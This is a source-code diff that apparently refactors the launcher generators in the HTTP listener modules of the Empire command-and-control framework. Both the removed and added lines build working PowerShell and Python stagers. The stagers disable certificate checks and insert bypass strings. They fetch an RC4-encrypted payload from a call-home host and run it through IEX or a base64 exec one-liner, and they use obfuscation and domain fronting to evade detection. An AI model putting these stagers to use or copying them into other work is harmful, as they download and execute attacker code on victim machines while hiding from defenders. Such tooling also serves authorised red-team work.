headerValue }");\n' - ) + b64RoutingPacket = base64.b64encode(routingPacket).decode("UTF-8") - if proxy.lower() != "none": - if proxy.lower() == "default": - launcherBase += "proxy = urllib.request.ProxyHandler();\n" - else: - proto = proxy.split(":")[0] - launcherBase += f"proxy = urllib.request.ProxyHandler({{'{ proto }':'{ proxy }'}});\n" + # Add custom headers if any + if customHeaders != []: + for header in customHeaders: + headerKey = header.split(":")[0] + headerValue = header.split(":")[1] + launcherBase += ( + f'req.add_header("{ headerKey }","{ headerValue }");\n' + ) - if proxyCreds != "none": - if proxyCreds == "default": - launcherBase += "o = urllib.request.build_opener(proxy);\n" + if proxy.lower() != "none": + if proxy.lower() == "default": + launcherBase += "proxy = urllib.request.ProxyHandler();\n" + else: + proto = proxy.split(":")[0] + launcherBase += f"proxy = urllib.request.ProxyHandler({{'{ proto }':'{ proxy }'}});\n" - # add the RC4 packet to a cookie - launcherBase += f'o.addheaders=[(\'User-Agent\',UA), ("Cookie", "session={ b64RoutingPacket }")];\n' - else: - username = proxyCreds.split(":")[0] - password = proxyCreds.split(":")[1] - launcherBase += dedent( - f""" - proxy_auth_handler = urllib.request.ProxyBasicAuthHandler(); - proxy_auth_handler.add_password(None,'{ proxy }','{ username }','{ password }'); - o = urllib.request.build_opener(proxy, proxy_auth_handler); - o.addheaders=[('User-Agent',UA), ("Cookie", "session={ b64RoutingPacket }")]; - """ - ) + if proxyCreds != "none": + if proxyCreds == "default": + launcherBase += "o = urllib.request.build_opener(proxy);\n" + # add the RC4 packet to a cookie + launcherBase += f'o.addheaders=[(\'User-Agent\',UA), ("Cookie", "session={ b64RoutingPacket }")];\n' else: - launcherBase += "o = urllib.request.build_opener(proxy);\n" - else: - launcherBase += "o = urllib.request.build_opener();\n" + username = proxyCreds.split(":")[0] + password = proxyCreds.split(":")[1] + launcherBase += dedent( + f""" + proxy_auth_handler = urllib.request.ProxyBasicAuthHandler(); + proxy_auth_handler.add_password(None,'{ proxy }','{ username }','{ password }'); + o = urllib.request.build_opener(proxy, proxy_auth_handler); + o.addheaders=[('User-Agent',UA), ("Cookie", "session={ b64RoutingPacket }")]; + """ + ) - # install proxy and creds globally, so they can be used with urlopen. - launcherBase += "urllib.request.install_opener(o);\n" - launcherBase += "a=urllib.request.urlopen(req).read();\n" + else: + launcherBase += "o = urllib.request.build_opener(proxy);\n" + else: + launcherBase += "o = urllib.request.build_opener();\n" - # download the stager and extract the IV - launcherBase += listener_util.python_extract_stager(staging_key) + # install proxy and creds globally, so they can be used with urlopen. + launcherBase += "urllib.request.install_opener(o);\n" + launcherBase += "a=urllib.request.urlopen(req).read();\n" - if obfuscate: - launcherBase = self.mainMenu.obfuscationv2.python_obfuscate( - launcherBase - ) - launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords( - launcherBase - ) + # download the stager and extract the IV + launcherBase += listener_util.python_extract_stager(staging_key) - if encode: - launchEncoded = base64.b64encode( - launcherBase.encode("UTF-8") - ).decode("UTF-8") - if isinstance(launchEncoded, bytes): - launchEncoded = launchEncoded.decode("UTF-8") - launcher = f"echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('{ launchEncoded }'));\" | python3 &" - return launcher - else: - return launcherBase - - # very basic csharp implementation - if language == "csharp": - workingHours = listenerOptions["WorkingHours"]["Value"] - killDate = listenerOptions["KillDate"]["Value"] - customHeaders = profile.split("|")[2:] # todo: support custom headers - delay = listenerOptions["DefaultDelay"]["Value"] - jitter = listenerOptions["DefaultJitter"]["Value"] - lostLimit = listenerOptions["DefaultLostLimit"]["Value"] - - with open( - self.mainMenu.installPath + "/stagers/Sharpire.yaml", "rb" - ) as f: - stager_yaml = f.read() - stager_yaml = stager_yaml.decode("UTF-8") - stager_yaml = ( - stager_yaml.replace("{{ REPLACE_ADDRESS }}", host) - .replace("{{ REPLACE_SESSIONKEY }}", staging_key) - .replace("{{ REPLACE_PROFILE }}", profile) - .replace("{{ REPLACE_WORKINGHOURS }}", workingHours) - .replace("{{ REPLACE_KILLDATE }}", killDate) - .replace("{{ REPLACE_DELAY }}", str(delay)) - .replace("{{ REPLACE_JITTER }}", str(jitter)) - .replace("{{ REPLACE_LOSTLIMIT }}", str(lostLimit)) + if obfuscate: + launcherBase = self.mainMenu.obfuscationv2.python_obfuscate( + launcherBase + ) + launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords( + launcherBase ) - compiler = self.mainMenu.pluginsv2.get_by_id("csharpserver") - if not compiler.status == "ON": - self.instance_log.error( - f"{listenerName} csharpserver plugin not running" - ) - else: - file_name = compiler.do_send_stager( - stager_yaml, "Sharpire", confuse=obfuscate - ) - return file_name - + if encode: + launchEncoded = base64.b64encode(launcherBase.encode("UTF-8")).decode( + "UTF-8" + ) + if isinstance(launchEncoded, bytes): + launchEncoded = launchEncoded.decode("UTF-8") + launcher = f"echo \"import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('{ launchEncoded }'));\" | python3 &" + return launcher else: + return launcherBase + + # very basic csharp implementation + if language == "csharp": + workingHours = listenerOptions["WorkingHours"]["Value"] + killDate = listenerOptions["KillDate"]["Value"] + customHeaders = profile.split("|")[2:] # todo: support custom headers + delay = listenerOptions["DefaultDelay"]["Value"] + jitter = listenerOptions["DefaultJitter"]["Value"] + lostLimit = listenerOptions["DefaultLostLimit"]["Value"] + + with open(self.mainMenu.installPath + "/stagers/Sharpire.yaml", "rb") as f: + stager_yaml = f.read() + stager_yaml = stager_yaml.decode("UTF-8") + stager_yaml = ( + stager_yaml.replace("{{ REPLACE_ADDRESS }}", host) + .replace("{{ REPLACE_SESSIONKEY }}", staging_key) + .replace("{{ REPLACE_PROFILE }}", profile) + .replace("{{ REPLACE_WORKINGHOURS }}", workingHours) + .replace("{{ REPLACE_KILLDATE }}", killDate) + .replace("{{ REPLACE_DELAY }}", str(delay)) + .replace("{{ REPLACE_JITTER }}", str(jitter)) + .replace("{{ REPLACE_LOSTLIMIT }}", str(lostLimit)) + ) + + compiler = self.mainMenu.pluginsv2.get_by_id("csharpserver") + if not compiler.status == "ON": self.instance_log.error( - f"{listenerName}: listeners/http generate_launcher(): invalid language specification: only 'powershell' and 'python' are currently supported for this module." + f"{listenerName} csharpserver plugin not running" ) + else: + file_name = compiler.do_send_stager( + stager_yaml, "Sharpire", confuse=obfuscate + ) + return file_name + + else: + self.instance_log.error( + f"{listenerName}: listeners/http generate_launcher(): invalid language specification: only 'powershell' and 'python' are currently supported for this module." + ) def generate_stager( self, diff --git a/empire/server/listeners/http_com.py b/empire/server/listeners/http_com.py index 30dc5577a..88c8955ce 100755 --- a/empire/server/listeners/http_com.py +++ b/empire/server/listeners/http_com.py @@ -208,130 +208,122 @@ def generate_launcher( log.error("listeners/http_com generate_launcher(): no language specified!") return None - # Previously, we had to do a lookup for the listener and check through threads on the instance. - # Beginning in 5.0, each instance is unique, so using self should work. This code could probably be simplified - # further, but for now keeping as is since 5.0 has enough rewrites as it is. - if ( - True - ): # The true check is just here to keep the indentation consistent with the old code. - active_listener = self - # extract the set options for this instantiated listener - listenerOptions = active_listener.options + active_listener = self + # extract the set options for this instantiated listener + listenerOptions = active_listener.options - host = listenerOptions["Host"]["Value"] - launcher = listenerOptions["Launcher"]["Value"] - staging_key = listenerOptions["StagingKey"]["Value"] - profile = listenerOptions["DefaultProfile"]["Value"] - requestHeader = listenerOptions["RequestHeader"]["Value"] - uris = [a for a in profile.split("|")[0].split(",")] - stage0 = random.choice(uris) - customHeaders = profile.split("|")[2:] - - if language.startswith("po"): - # PowerShell - - stager = '$ErrorActionPreference = "SilentlyContinue";' - if safeChecks.lower() == "true": - stager = "If($PSVersionTable.PSVersion.Major -ge 3){" - - for bypass in bypasses: - stager += bypass - stager += "};" - stager += "[System.Net.ServicePointManager]::Expect100Continue=0;" - - # TODO: reimplement stager retries? - - # check if we're using IPv6 - listenerOptions = copy.deepcopy(listenerOptions) - bindIP = listenerOptions["BindIP"]["Value"] - port = listenerOptions["Port"]["Value"] - if ":" in bindIP: - if "http" in host: - if "https" in host: - host = ( - "https://" + "[" + str(bindIP) + "]" + ":" + str(port) - ) - else: - host = "http://" + "[" + str(bindIP) + "]" + ":" + str(port) + host = listenerOptions["Host"]["Value"] + launcher = listenerOptions["Launcher"]["Value"] + staging_key = listenerOptions["StagingKey"]["Value"] + profile = listenerOptions["DefaultProfile"]["Value"] + requestHeader = listenerOptions["RequestHeader"]["Value"] + uris = [a for a in profile.split("|")[0].split(",")] + stage0 = random.choice(uris) + customHeaders = profile.split("|")[2:] - # code to turn the key string into a byte array - stager += ( - f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ staging_key }');" - ) + if language.startswith("po"): + # PowerShell - # this is the minimized RC4 stager code from rc4.ps1 - stager += listener_util.powershell_rc4() - - # prebuild the request routing packet for the launcher - routingPacket = packets.build_routing_packet( - staging_key, - sessionID="00000000", - language="POWERSHELL", - meta="STAGE0", - additional="None", - encData="", - ) - b64RoutingPacket = base64.b64encode(routingPacket) + stager = '$ErrorActionPreference = "SilentlyContinue";' + if safeChecks.lower() == "true": + stager = "If($PSVersionTable.PSVersion.Major -ge 3){" + + for bypass in bypasses: + stager += bypass + stager += "};" + stager += "[System.Net.ServicePointManager]::Expect100Continue=0;" + + # TODO: reimplement stager retries? + + # check if we're using IPv6 + listenerOptions = copy.deepcopy(listenerOptions) + bindIP = listenerOptions["BindIP"]["Value"] + port = listenerOptions["Port"]["Value"] + if ":" in bindIP: + if "http" in host: + if "https" in host: + host = "https://" + "[" + str(bindIP) + "]" + ":" + str(port) + else: + host = "http://" + "[" + str(bindIP) + "]" + ":" + str(port) + + # code to turn the key string into a byte array + stager += f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ staging_key }');" + + # this is the minimized RC4 stager code from rc4.ps1 + stager += listener_util.powershell_rc4() + + # prebuild the request routing packet for the launcher + routingPacket = packets.build_routing_packet( + staging_key, + sessionID="00000000", + language="POWERSHELL", + meta="STAGE0", + additional="None", + encData="", + ) + b64RoutingPacket = base64.b64encode(routingPacket) + + stager += "$ie=New-Object -COM InternetExplorer.Application;$ie.Silent=$True;$ie.visible=$False;$fl=14;" + stager += ( + f"$ser={ helpers.obfuscate_call_home_address(host) };$t='{ stage0 }';" + ) + + # add the RC4 packet to a header location + stager += f'$c="{ requestHeader }: { b64RoutingPacket }' + + # Add custom headers if any + modifyHost = False + if customHeaders != []: + for header in customHeaders: + headerKey = header.split(":")[0] + headerValue = header.split(":")[1] - stager += "$ie=New-Object -COM InternetExplorer.Application;$ie.Silent=$True;$ie.visible=$False;$fl=14;" - stager += f"$ser={ helpers.obfuscate_call_home_address(host) };$t='{ stage0 }';" + if headerKey.lower() == "host": + modifyHost = True - # add the RC4 packet to a header location - stager += f'$c="{ requestHeader }: { b64RoutingPacket }' + stager += f"`r`n{ headerKey }: { headerValue }" - # Add custom headers if any - modifyHost = False - if customHeaders != []: - for header in customHeaders: - headerKey = header.split(":")[0] - headerValue = header.split(":")[1] + stager += '";' + # If host header defined, assume domain fronting is in use and add a call to the base URL first + # this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello + if modifyHost: + stager += "$ie.navigate2($ser,$fl,0,$Null,$Null);while($ie.busy){Start-Sleep -Milliseconds 100};" - if headerKey.lower() == "host": - modifyHost = True + stager += "$ie.navigate2($ser+$t,$fl,0,$Null,$c);" + stager += "while($ie.busy){Start-Sleep -Milliseconds 100};" + stager += "$ht = $ie.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $ie.document, $Null).InnerHtml;" + stager += ( + "try {$data=[System.Convert]::FromBase64String($ht)} catch {$Null}" + ) + stager += "$iv=$data[0..3];$data=$data[4..$data.length];" - stager += f"`r`n{ headerKey }: { headerValue }" + # decode everything and kick it over to IEX to kick off execution + stager += "-join[Char[]](& $R $data ($IV+$K))|IEX" - stager += '";' - # If host header defined, assume domain fronting is in use and add a call to the base URL first - # this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello - if modifyHost: - stager += "$ie.navigate2($ser,$fl,0,$Null,$Null);while($ie.busy){Start-Sleep -Milliseconds 100};" + # Remove comments and make one line + stager = helpers.strip_powershell_comments(stager) + stager = data_util.ps_convert_to_oneliner(stager) - stager += "$ie.navigate2($ser+$t,$fl,0,$Null,$c);" - stager += "while($ie.busy){Start-Sleep -Milliseconds 100};" - stager += "$ht = $ie.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $ie.document, $Null).InnerHtml;" - stager += ( - "try {$data=[System.Convert]::FromBase64String($ht)} catch {$Null}" + if obfuscate: + stager = self.mainMenu.obfuscationv2.obfuscate( + stager, + obfuscation_command=obfuscation_command, ) - stager += "$iv=$data[0..3];$data=$data[4..$data.length];" - - # decode everything and kick it over to IEX to kick off execution - stager += "-join[Char[]](& $R $data ($IV+$K))|IEX" - - # Remove comments and make one line - stager = helpers.strip_powershell_comments(stager) - stager = data_util.ps_convert_to_oneliner(stager) - - if obfuscate: - stager = self.mainMenu.obfuscationv2.obfuscate( - stager, - obfuscation_command=obfuscation_command, - ) - stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) - - # base64 encode the stager and return it - if encode and ( - (not obfuscate) or ("launcher" not in obfuscation_command.lower()) - ): - return helpers.powershell_launcher(stager, launcher) - else: - # otherwise return the case-randomized stager - return stager + stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) + # base64 encode the stager and return it + if encode and ( + (not obfuscate) or ("launcher" not in obfuscation_command.lower()) + ): + return helpers.powershell_launcher(stager, launcher) else: - log.error( - "listeners/http_com generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module." - ) + # otherwise return the case-randomized stager + return stager + + else: + log.error( + "listeners/http_com generate_launcher(): invalid language specification: only 'powershell' is currently supported for this module." + ) def generate_stager( self, diff --git a/empire/server/listeners/http_foreign.py b/empire/server/listeners/http_foreign.py index 1bf87b043..97b523b1e 100755 --- a/empire/server/listeners/http_foreign.py +++ b/empire/server/listeners/http_foreign.py @@ -178,226 +178,218 @@ def generate_launcher( ) return None - # Previously, we had to do a lookup for the listener and check through threads on the instance. - # Beginning in 5.0, each instance is unique, so using self should work. This code could probably be simplified - # further, but for now keeping as is since 5.0 has enough rewrites as it is. - if ( - True - ): # The true check is just here to keep the indentation consistent with the old code. - active_listener = self - # extract the set options for this instantiated listener - listenerOptions = active_listener.options - - host = listenerOptions["Host"]["Value"] - launcher = listenerOptions["Launcher"]["Value"] - stagingKey = listenerOptions["StagingKey"]["Value"] - profile = listenerOptions["DefaultProfile"]["Value"] - uris = [a for a in profile.split("|")[0].split(",")] - stage0 = random.choice(uris) - customHeaders = profile.split("|")[2:] - - if language.startswith("po"): - # PowerShell - - stager = '$ErrorActionPreference = "SilentlyContinue";' - if safeChecks.lower() == "true": - stager = "If($PSVersionTable.PSVersion.Major -ge 3){" - - for bypass in bypasses: - stager += bypass - stager += "};[System.Net.ServicePointManager]::Expect100Continue=0;" - - stager += "$wc=New-Object System.Net.WebClient;" - - if userAgent.lower() == "default": - profile = listenerOptions["DefaultProfile"]["Value"] - userAgent = profile.split("|")[1] - stager += f"$u='{ userAgent }';" - - if "https" in host: - # allow for self-signed certificates for https connections - stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" - - if userAgent.lower() != "none" or proxy.lower() != "none": - if userAgent.lower() != "none": - stager += "$wc.Headers.Add('User-Agent',$u);" - - if proxy.lower() != "none": - if proxy.lower() == "default": - stager += ( - "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;" - ) - - else: - # TODO: implement form for other proxy - stager += "$proxy=New-Object Net.WebProxy;" - stager += f"$proxy.Address = '{ proxy.lower() }';" - stager += "$wc.Proxy = $proxy;" - - if proxyCreds.lower() == "default": - stager += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" - - else: - # TODO: implement form for other proxy credentials - username = proxyCreds.split(":")[0] - password = proxyCreds.split(":")[1] - domain = username.split("\\")[0] - usr = username.split("\\")[1] - stager += f"$netcred = New-Object System.Net.NetworkCredential('{ usr }', '{ password }', '{ domain }');" - stager += "$wc.Proxy.Credentials = $netcred;" - - # TODO: reimplement stager retries? - - # Add custom headers if any - if customHeaders != []: - for header in customHeaders: - headerKey = header.split(":")[0] - headerValue = header.split(":")[1] - stager += f'$wc.Headers.Add("{ headerKey }","{ headerValue }");' - - # code to turn the key string into a byte array - stager += ( - f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ stagingKey }');" - ) + active_listener = self + # extract the set options for this instantiated listener + listenerOptions = active_listener.options - # this is the minimized RC4 stager code from rc4.ps1 - stager += listener_util.powershell_rc4() - - # Use routingpacket from foreign listener - b64RoutingPacket = listenerOptions["RoutingPacket"]["Value"] + host = listenerOptions["Host"]["Value"] + launcher = listenerOptions["Launcher"]["Value"] + stagingKey = listenerOptions["StagingKey"]["Value"] + profile = listenerOptions["DefaultProfile"]["Value"] + uris = [a for a in profile.split("|")[0].split(",")] + stage0 = random.choice(uris) + customHeaders = profile.split("|")[2:] - # add the RC4 packet to a cookie - stager += f'$wc.Headers.Add("Cookie","session={ b64RoutingPacket }");' + if language.startswith("po"): + # PowerShell - stager += f"$ser= { helpers.obfuscate_call_home_address(host) };$t='{ stage0 }';" - stager += "$data=$wc.DownloadData($ser+$t);" - stager += "$iv=$data[0..3];$data=$data[4..$data.length];" + stager = '$ErrorActionPreference = "SilentlyContinue";' + if safeChecks.lower() == "true": + stager = "If($PSVersionTable.PSVersion.Major -ge 3){" - # decode everything and kick it over to IEX to kick off execution - stager += "-join[Char[]](& $R $data ($IV+$K))|IEX" + for bypass in bypasses: + stager += bypass + stager += "};[System.Net.ServicePointManager]::Expect100Continue=0;" - # Remove comments and make one line - stager = helpers.strip_powershell_comments(stager) - stager = data_util.ps_convert_to_oneliner(stager) + stager += "$wc=New-Object System.Net.WebClient;" - if obfuscate: - stager = self.mainMenu.obfuscationv2.obfuscate( - stager, - obfuscation_command=obfuscation_command, - ) - stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) + if userAgent.lower() == "default": + profile = listenerOptions["DefaultProfile"]["Value"] + userAgent = profile.split("|")[1] + stager += f"$u='{ userAgent }';" - # base64 encode the stager and return it - if encode and ( - (not obfuscate) or ("launcher" not in obfuscation_command.lower()) - ): - return helpers.powershell_launcher(stager, launcher) - else: - # otherwise return the case-randomized stager - return stager - - if language in ["python", "ironpython"]: - launcherBase = "import sys;" - if "https" in host: - # monkey patch ssl woohooo - launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n" - - try: - if safeChecks.lower() == "true": - launcherBase += listener_util.python_safe_checks() - except Exception as e: - p = f"{listenerName}: Error setting LittleSnitch in stager: {str(e)}" - log.error(p, exc_info=True) - - if userAgent.lower() == "default": - profile = listenerOptions["DefaultProfile"]["Value"] - userAgent = profile.split("|")[1] - - launcherBase += dedent( - f""" - o=__import__({{2:'urllib2',3:'urllib.request'}}[sys.version_info[0]],fromlist=['build_opener']).build_opener(); - UA='{userAgent}'; - server='{host}';t='{stage0}'; - """ - ) + if "https" in host: + # allow for self-signed certificates for https connections + stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" - b64RoutingPacket = listenerOptions["RoutingPacket"]["Value"] - - # add the RC4 packet to a cookie - launcherBase += ( - 'o.addheaders=[(\'User-Agent\',UA), ("Cookie", "session=%s")];\n' - % (b64RoutingPacket) - ) - launcherBase += "import urllib.request;\n" + if userAgent.lower() != "none" or proxy.lower() != "none": + if userAgent.lower() != "none": + stager += "$wc.Headers.Add('User-Agent',$u);" if proxy.lower() != "none": if proxy.lower() == "default": - launcherBase += "proxy = urllib.request.ProxyHandler();\n" + stager += "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;" + else: - proto = proxy.Split(":")[0] - launcherBase += ( - "proxy = urllib.request.ProxyHandler({'" - + proto - + "':'" - + proxy - + "'});\n" - ) + # TODO: implement form for other proxy + stager += "$proxy=New-Object Net.WebProxy;" + stager += f"$proxy.Address = '{ proxy.lower() }';" + stager += "$wc.Proxy = $proxy;" + + if proxyCreds.lower() == "default": + stager += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" - if proxyCreds != "none": - if proxyCreds == "default": - launcherBase += "o = urllib.request.build_opener(proxy);\n" - else: - launcherBase += "proxy_auth_handler = urllib.request.ProxyBasicAuthHandler();\n" - username = proxyCreds.split(":")[0] - password = proxyCreds.split(":")[1] - launcherBase += ( - "proxy_auth_handler.add_password(None,'" - + proxy - + "','" - + username - + "','" - + password - + "');\n" - ) - launcherBase += "o = urllib.request.build_opener(proxy, proxy_auth_handler);\n" else: - launcherBase += "o = urllib.request.build_opener(proxy);\n" - else: - launcherBase += "o = urllib.request.build_opener();\n" + # TODO: implement form for other proxy credentials + username = proxyCreds.split(":")[0] + password = proxyCreds.split(":")[1] + domain = username.split("\\")[0] + usr = username.split("\\")[1] + stager += f"$netcred = New-Object System.Net.NetworkCredential('{ usr }', '{ password }', '{ domain }');" + stager += "$wc.Proxy.Credentials = $netcred;" - # install proxy and creds globally, so they can be used with urlopen. - launcherBase += "urllib.request.install_opener(o);\n" - launcherBase += "a=o.open(server+t).read();\n" + # TODO: reimplement stager retries? - # download the stager and extract the IV - launcherBase += listener_util.python_extract_stager(stagingKey) + # Add custom headers if any + if customHeaders != []: + for header in customHeaders: + headerKey = header.split(":")[0] + headerValue = header.split(":")[1] + stager += f'$wc.Headers.Add("{ headerKey }","{ headerValue }");' - if obfuscate: - launcherBase = self.mainMenu.obfuscationv2.python_obfuscate( - launcherBase - ) - launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords( - launcherBase - ) + # code to turn the key string into a byte array + stager += f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ stagingKey }');" - if encode: - launchEncoded = base64.b64encode( - launcherBase.encode("UTF-8") - ).decode("UTF-8") - if isinstance(launchEncoded, bytes): - launchEncoded = launchEncoded.decode("UTF-8") - launcher = ( - "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python3 &" - % (launchEncoded) - ) - return launcher + # this is the minimized RC4 stager code from rc4.ps1 + stager += listener_util.powershell_rc4() + + # Use routingpacket from foreign listener + b64RoutingPacket = listenerOptions["RoutingPacket"]["Value"] + + # add the RC4 packet to a cookie + stager += f'$wc.Headers.Add("Cookie","session={ b64RoutingPacket }");' + + stager += ( + f"$ser= { helpers.obfuscate_call_home_address(host) };$t='{ stage0 }';" + ) + stager += "$data=$wc.DownloadData($ser+$t);" + stager += "$iv=$data[0..3];$data=$data[4..$data.length];" + + # decode everything and kick it over to IEX to kick off execution + stager += "-join[Char[]](& $R $data ($IV+$K))|IEX" + + # Remove comments and make one line + stager = helpers.strip_powershell_comments(stager) + stager = data_util.ps_convert_to_oneliner(stager) + + if obfuscate: + stager = self.mainMenu.obfuscationv2.obfuscate( + stager, + obfuscation_command=obfuscation_command, + ) + stager = self.mainMenu.obfuscationv2.obfuscate_keywords(stager) + + # base64 encode the stager and return it + if encode and ( + (not obfuscate) or ("launcher" not in obfuscation_command.lower()) + ): + return helpers.powershell_launcher(stager, launcher) + else: + # otherwise return the case-randomized stager + return stager + + if language in ["python", "ironpython"]: + launcherBase = "import sys;" + if "https" in host: + # monkey patch ssl woohooo + launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n" + + try: + if safeChecks.lower() == "true": + launcherBase += listener_util.python_safe_checks() + except Exception as e: + p = f"{listenerName}: Error setting LittleSnitch in stager: {str(e)}" + log.error(p, exc_info=True) + + if userAgent.lower() == "default": + profile = listenerOptions["DefaultProfile"]["Value"] + userAgent = profile.split("|")[1] + + launcherBase += dedent( + f""" + o=__import__({{2:'urllib2',3:'urllib.request'}}[sys.version_info[0]],fromlist=['build_opener']).build_opener(); + UA='{userAgent}'; + server='{host}';t='{stage0}'; + """ + ) + + b64RoutingPacket = listenerOptions["RoutingPacket"]["Value"] + + # add the RC4 packet to a cookie + launcherBase += ( + 'o.addheaders=[(\'User-Agent\',UA), ("Cookie", "session=%s")];\n' + % (b64RoutingPacket) + ) + launcherBase += "import urllib.request;\n" + + if proxy.lower() != "none": + if proxy.lower() == "default": + launcherBase += "proxy = urllib.request.ProxyHandler();\n" else: - return launcherBase + proto = proxy.Split(":")[0] + launcherBase += ( + "proxy = urllib.request.ProxyHandler({'" + + proto + + "':'" + + proxy + + "'});\n" + ) + if proxyCreds != "none": + if proxyCreds == "default": + launcherBase += "o = urllib.request.build_opener(proxy);\n" + else: + launcherBase += "proxy_auth_handler = urllib.request.ProxyBasicAuthHandler();\n" + username = proxyCreds.split(":")[0] + password = proxyCreds.split(":")[1] + launcherBase += ( + "proxy_auth_handler.add_password(None,'" + + proxy + + "','" + + username + + "','" + + password + + "');\n" + ) + launcherBase += "o = urllib.request.build_opener(proxy, proxy_auth_handler);\n" + else: + launcherBase += "o = urllib.request.build_opener(proxy);\n" else: - log.error( - "listeners/http_foreign generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." + launcherBase += "o = urllib.request.build_opener();\n" + + # install proxy and creds globally, so they can be used with urlopen. + launcherBase += "urllib.request.install_opener(o);\n" + launcherBase += "a=o.open(server+t).read();\n" + + # download the stager and extract the IV + launcherBase += listener_util.python_extract_stager(stagingKey) + + if obfuscate: + launcherBase = self.mainMenu.obfuscationv2.python_obfuscate( + launcherBase + ) + launcherBase = self.mainMenu.obfuscationv2.obfuscate_keywords( + launcherBase + ) + + if encode: + launchEncoded = base64.b64encode(launcherBase.encode("UTF-8")).decode( + "UTF-8" + ) + if isinstance(launchEncoded, bytes): + launchEncoded = launchEncoded.decode("UTF-8") + launcher = ( + "echo \"import sys,base64;exec(base64.b64decode('%s'));\" | python3 &" + % (launchEncoded) ) + return launcher + else: + return launcherBase + + else: + log.error( + "listeners/http_foreign generate_launcher(): invalid language specification: only 'powershell' and 'python' are current supported for this module." + ) def generate_stager( self, diff --git a/empire/server/listeners/http_hop.py b/empire/server/listeners/http_hop.py index b5a4ea2b2..0a70ae104 100755 --- a/empire/server/listeners/http_hop.py +++ b/empire/server/listeners/http_hop.py @@ -129,220 +129,210 @@ def generate_launcher( log.error("listeners/http_hop generate_launcher(): no language specified!") return None - # Previously, we had to do a lookup for the listener and check through threads on the instance. - # Beginning in 5.0, each instance is unique, so using self should work. This code could probably be simplified - # further, but for now keeping as is since 5.0 has enough rewrites as it is. - if ( - True - ): # The true check is just here to keep the indentation consistent with the old code. - active_listener = self - # extract the set options for this instantiated listener - listenerOptions = active_listener.options + active_listener = self + # extract the set options for this instantiated listener + listenerOptions = active_listener.options - host = listenerOptions["Host"]["Value"] - launcher = listenerOptions["Launcher"]["Value"] - staging_key = listenerOptions["RedirectStagingKey"]["Value"] - profile = listenerOptions["DefaultProfile"]["Value"] - uris = [a for a in profile.split("|")[0].split(",")] - stage0 = random.choice(uris) + host = listenerOptions["Host"]["Value"] + launcher = listenerOptions["Launcher"]["Value"] + staging_key = listenerOptions["RedirectStagingKey"]["Value"] + profile = listenerOptions["DefaultProfile"]["Value"] + uris = [a for a in profile.split("|")[0].split(",")] + stage0 = random.choice(uris) - if language == "powershell": - # PowerShell + if language == "powershell": + # PowerShell - stager = '$ErrorActionPreference = "SilentlyContinue";' - if safeChecks.lower() == "true": - stager = "If($PSVersionTable.PSVersion.Major -ge 3){" - - for bypass in bypasses: - stager += bypass - stager += "};[System.Net.ServicePointManager]::Expect100Continue=0;" - - stager += "$wc=New-Object System.Net.WebClient;" - - if userAgent.lower() == "default": - userAgent = profile.split("|")[1] - stager += f"$u='{ userAgent }';" - - if "https" in host: - # allow for self-signed certificates for https connections - stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" - - if userAgent.lower() != "none" or proxy.lower() != "none": - if userAgent.lower() != "none": - stager += "$wc.Headers.Add('User-Agent',$u);" - - if proxy.lower() != "none": - if proxy.lower() == "default": - stager += ( - "$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;" - ) - - else: - # TODO: implement form for other proxy - stager += "$proxy=New-Object Net.WebProxy;" - stager += f"$proxy.Address = '{ proxy.lower() }';" - stager += "$wc.Proxy = $proxy;" - - if proxyCreds.lower() == "default": - stager += "$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;" - - else: - # TODO: implement form for other proxy credentials - username = proxyCreds.split(":")[0] - password = proxyCreds.split(":")[1] - domain = username.split("\\")[0] - usr = username.split("\\")[1] - stager += f"$netcred = New-Object System.Net.NetworkCredential('{usr}', '{password}', '{domain}');" - stager += "$wc.Proxy.Credentials = $netcred;" - - # TODO: reimplement stager retries? - - # code to turn the key string into a byte array - stager += ( - f"$K=[System.Text.Encoding]::ASCII.GetBytes('{ staging_key }');" - ) + stager = '$ErrorActionPreference = "SilentlyContinue";' + if safeChecks.lower() == "true": + stager = "If($PSVersionTable.PSVersion.Major -ge 3){" - # this is the minimized RC4 stager code from rc4.ps1 - stager += listener_util.powershell_rc4() - - # prebuild the request routing packet for the launcher - routingPacket = packets.build_routing_packet( - staging_key, - sessionID="00000000", - language="POWERSHELL", - meta="STAGE0", - additional="None", - encData="", - ) - b64RoutingPacket = base64.b64encode(routingPacket).decode("UTF-8") + for bypass in bypasses: + stager += bypass + stager += "};[System.Net.ServicePointManager]::Expect100Continue=0;" - # add the RC4 packet to a cookie - stager += f'$wc.Headers.Add("Cookie","session={ b64RoutingPacket }");' - stager += f"$ser={ helpers.obfuscate_call_home_address(host) };$t='{ stage0 }';$hop='{ listenerName }';" - stager += "$data=$wc.DownloadData($ser+$t);" - stager += 